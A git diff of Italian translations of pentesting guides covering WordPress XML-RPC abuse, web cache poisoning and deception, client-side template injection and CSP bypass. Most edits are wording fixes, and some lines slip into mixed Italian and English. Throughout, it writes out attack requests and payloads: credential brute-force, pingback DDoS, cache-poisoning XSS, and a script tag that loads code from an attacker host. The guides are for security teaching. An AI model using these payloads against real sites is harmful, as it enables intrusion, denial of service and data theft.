@ -112,7 +112,7 @@ Se `xml-rpc.php` è attivo, puoi eseguire un attacco di brute-force sulle creden
 Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:

 **Controlla**
-```markup
+```html
 <methodCall>
 <methodName>system.listMethods</methodName>
 <params></params>
@ -122,8 +122,8 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri

 **Bruteforce delle Credenziali**

-**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa come:
-```markup
+**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovare uno di essi, puoi inviare qualcosa come:
+```html
 <methodCall>
 <methodName>wp.getUsersBlogs</methodName>
 <params>
@ -132,14 +132,14 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri
 </params>
 </methodCall>
 ```
-Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
+Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.

 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)

 ![](<../../images/image (721).png>)

 Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
-```markup
+```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
 <methodName>wp.uploadFile</methodName>
@ -174,13 +174,13 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys

 **Bypass 2FA**

-Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)

 **DDoS o scansione delle porte**

 Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
 Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
-```markup
+```html
 <methodCall>
 <methodName>pingback.ping</methodName>
 <params><param>
@ -196,7 +196,7 @@ Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che
 Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.

 **DDoS**
-```markup
+```html
 <methodCall>
 <methodName>pingback.ping</methodName>
 <params>
@ -210,7 +210,7 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
 ### wp-cron.php DoS

 Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
-Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
+Quando questo file è **accessed** viene eseguita una **query** MySQL "**heavy**", quindi potrebbe essere utilizzato da **attackers** per **cause** un **DoS**.\
 Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).

 Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
 ```
 ## Ottieni accesso sovrascrivendo un bit

-Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi cambiare 1 bit di qualsiasi file wordpress. Quindi potevi cambiare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
+Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
 ```php
 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 return new WP_Error(
@ -295,7 +295,7 @@ Accedila e vedrai l'URL per eseguire la reverse shell:

 ### Caricamento e attivazione di un plugin malevolo

-Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue:
+Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:

 1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
 2. **Installazione del Plugin**:
@ -307,18 +307,18 @@ Questo metodo prevede l'installazione di un plugin malevolo noto per essere vuln
 - Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
 - Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.

-Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
+Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza una corretta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.

 **Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)

 ## Da XSS a RCE

- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
 - _**Elevazione dei privilegi:**_ Crea un utente in WordPress.
 - _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
 - _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
 - _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
- _**(Personalizzato) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress.
+- _**(Personalizzati) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress.

 ## Post Sfruttamento

@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

 - **REST API**

-È anche possibile esporre funzioni da wordpress registrando un'API rest utilizzando la funzione `register_rest_route`:
+È anche possibile esporre funzioni da wordpress registrando un'API REST utilizzando la funzione `register_rest_route`:
 ```php
 register_rest_route(
 $this->namespace, '/get/', array(
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -6,8 +6,8 @@

 > **Qual è la differenza tra web cache poisoning e web cache deception?**
 >
-> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
-> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questi contenuti dalla cache.
+> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
+> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.

 ## Cache Poisoning

@ -15,7 +15,7 @@ Il cache poisoning mira a manipolare la cache lato client per costringere i clie

 L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:

-1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
+1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non richiesti per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
 2. **Sfruttamento degli Input Non Chiave**: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in un modo che avvantaggi l'attaccante.
 3. **Assicurarsi che la Risposta Contaminata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è contaminata riceverà la risposta contaminata.

@ -38,7 +38,7 @@ Tuttavia, nota che **a volte questi tipi di codici di stato non vengono memorizz
 ### Scoperta: Identificare e valutare gli input non chiave

 Potresti usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **forzare parametri e intestazioni** che potrebbero **cambiare la risposta della pagina**. Ad esempio, una pagina potrebbe utilizzare l'intestazione `X-Forwarded-For` per indicare al client di caricare lo script da lì:
-```markup
+```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
 ### Elicitare una risposta dannosa dal server back-end
@ -52,7 +52,7 @@ Una volta che hai **identificato** la **pagina** che può essere abusata, quale
 L'intestazione **`X-Cache`** nella risposta potrebbe essere molto utile poiché potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata.\
 L'intestazione **`Cache-Control`** è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà memorizzata di nuovo: `Cache-Control: public, max-age=1800`

-Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave della cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`.
+Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`.

 Un'altra intestazione relativa alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.

@ -64,7 +64,7 @@ Quando memorizzi una richiesta nella cache, fai **attenzione alle intestazioni c

 Un'intestazione come `X-Forwarded-For` viene riflessa nella risposta non sanitizzata.\
 Puoi inviare un payload XSS di base e avvelenare la cache in modo che tutti coloro che accedono alla pagina saranno XSSati:
-```markup
+```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
@ -80,14 +80,14 @@ cache-poisoning-to-dos.md
 ### Utilizzare l'avvelenamento della cache web per sfruttare le vulnerabilità nella gestione dei cookie

 I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.
-```markup
+```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
 Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste regolari puliranno la cache.

-### Generazione di discrepanze con delimitatori, normalizzazione e punti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

 Controlla:

@ -95,9 +95,9 @@ Controlla:
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### Avvelenamento della cache con traversamento del percorso per rubare la chiave API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**Questa descrizione spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
+[**Questo documento spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.

 Questo è spiegato meglio anche in:

@ -105,10 +105,10 @@ Questo è spiegato meglio anche in:
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### Utilizzo di più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
-```markup
+A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
+```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
 ### Sfruttare con intestazione `Vary` limitata

 Se hai scoperto che l'intestazione **`X-Host`** viene utilizzata come **nome di dominio per caricare una risorsa JS** ma l'intestazione **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
-```markup
+```html
 GET / HTTP/1.1
 Host: vulnerbale.net
 User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -125,7 +125,7 @@ X-Host: attacker.com
 ```
 ### Fat Get

-Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro del corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github:
+Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro dal corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@ -138,7 +138,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web

 ### Parameter Cloacking

-Ad esempio, è possibile separare i **parametri** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.
+Ad esempio, è possibile separare **parameters** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.

 Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

@ -148,7 +148,7 @@ Impara qui come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggl

 ### Automated testing for Web Cache Poisoning

-Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente la presenza di web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
+Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente la web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.

 Esempio di utilizzo: `wcvs -u example.com`

@ -168,7 +168,7 @@ GitLab utilizza i bucket GCP per memorizzare contenuti statici. **GCP Buckets**

 ### Rack Middleware (Ruby on Rails)

-Nelle applicazioni Ruby on Rails, viene spesso utilizzato il middleware Rack. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, rappresentando un rischio per la sicurezza.
+Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 verso la stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.

 ### 403 and Storage Buckets

@ -180,11 +180,11 @@ Le cache spesso includono parametri GET specifici nella chiave di cache. Ad esem

 ### User Agent Rules

-Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come il cache poisoning e il DoS.
+Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come la cache poisoning e il DoS.

 ### Illegal Header Fields

-Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
+Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.

 ### Finding new headers

@ -194,7 +194,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter

 L'obiettivo della Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.

-Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **restituendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
+Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **replayando** con i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.

 Altre cose da testare:

@ -207,9 +207,9 @@ Altre cose da testare:

 Un altro esempio molto chiaro può essere trovato in questo write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
 Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_, il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
-Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno effettuato l'accesso prima.
+Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso prima.

-Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare** i file **basandosi** sull'**estensione** del file (_.css_) e non basandosi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).
+Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare nella cache** i file **basati** sull'**estensione** del file (_.css_) e non basato sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).

 Impara qui come eseguire [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ b/src/pentesting-web/client-side-template-injection-csti.md
@ -31,7 +31,7 @@ Puoi trovare un'implementazione **vulnerabile di Vue** in [https://vue-client-si
 Payload funzionante: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)

 E il **codice sorgente** dell'esempio vulnerabile qui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
-```markup
+```html
 <!-- Google Research - Vue.js-->
 "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
 ```
@ -69,7 +69,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
 ```
 **Altri payload in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

-## **Elenco di Rilevamento Brute-Force**
+## **Elenco di rilevamento Brute-Force**

 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@ -8,11 +8,11 @@ La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser

 L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.

- Implementato tramite header di risposta:
+- Implemented via response header:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
- Implementato tramite tag meta:
+- Implementato tramite meta tag:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
@ -52,12 +52,12 @@ object-src 'none';
 - **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
 - **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
 - **form-action**: Elenca gli endpoint validi per le sottomissioni di moduli.
- **plugin-types**: Limita i tipi mime che una pagina può invocare.
+- **plugin-types**: Limita i tipi MIME che una pagina può invocare.
 - **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
 - **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
 - **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
 - **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o prelevate.
+- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
 - **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)

 ### Fonti
@ -133,7 +133,7 @@ Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo
 Content-Security-Policy: script-src 'self' https://google.com https: data *;
 ```
 Payload funzionante:
-```markup
+```html
 "/>'><script src=https://attacker-website.com/evil.js></script>
 "/>'><script src=data:text/javascript,alert(1337)></script>
 ```
@ -144,7 +144,7 @@ Payload funzionante:
 Content-Security-Policy: script-src 'self' ;
 ```
 Payload funzionanti:
-```markup
+```html
 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
 ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
 <param name="AllowScriptAccess" value="always"></object>
@ -153,10 +153,10 @@ Payload funzionanti:
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-Se puoi caricare un file JS, puoi eludere questo CSP:
+Se puoi caricare un file JS, puoi bypassare questo CSP:

 Payload funzionante:
-```markup
+```html
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
 Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
@ -167,7 +167,7 @@ Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estens

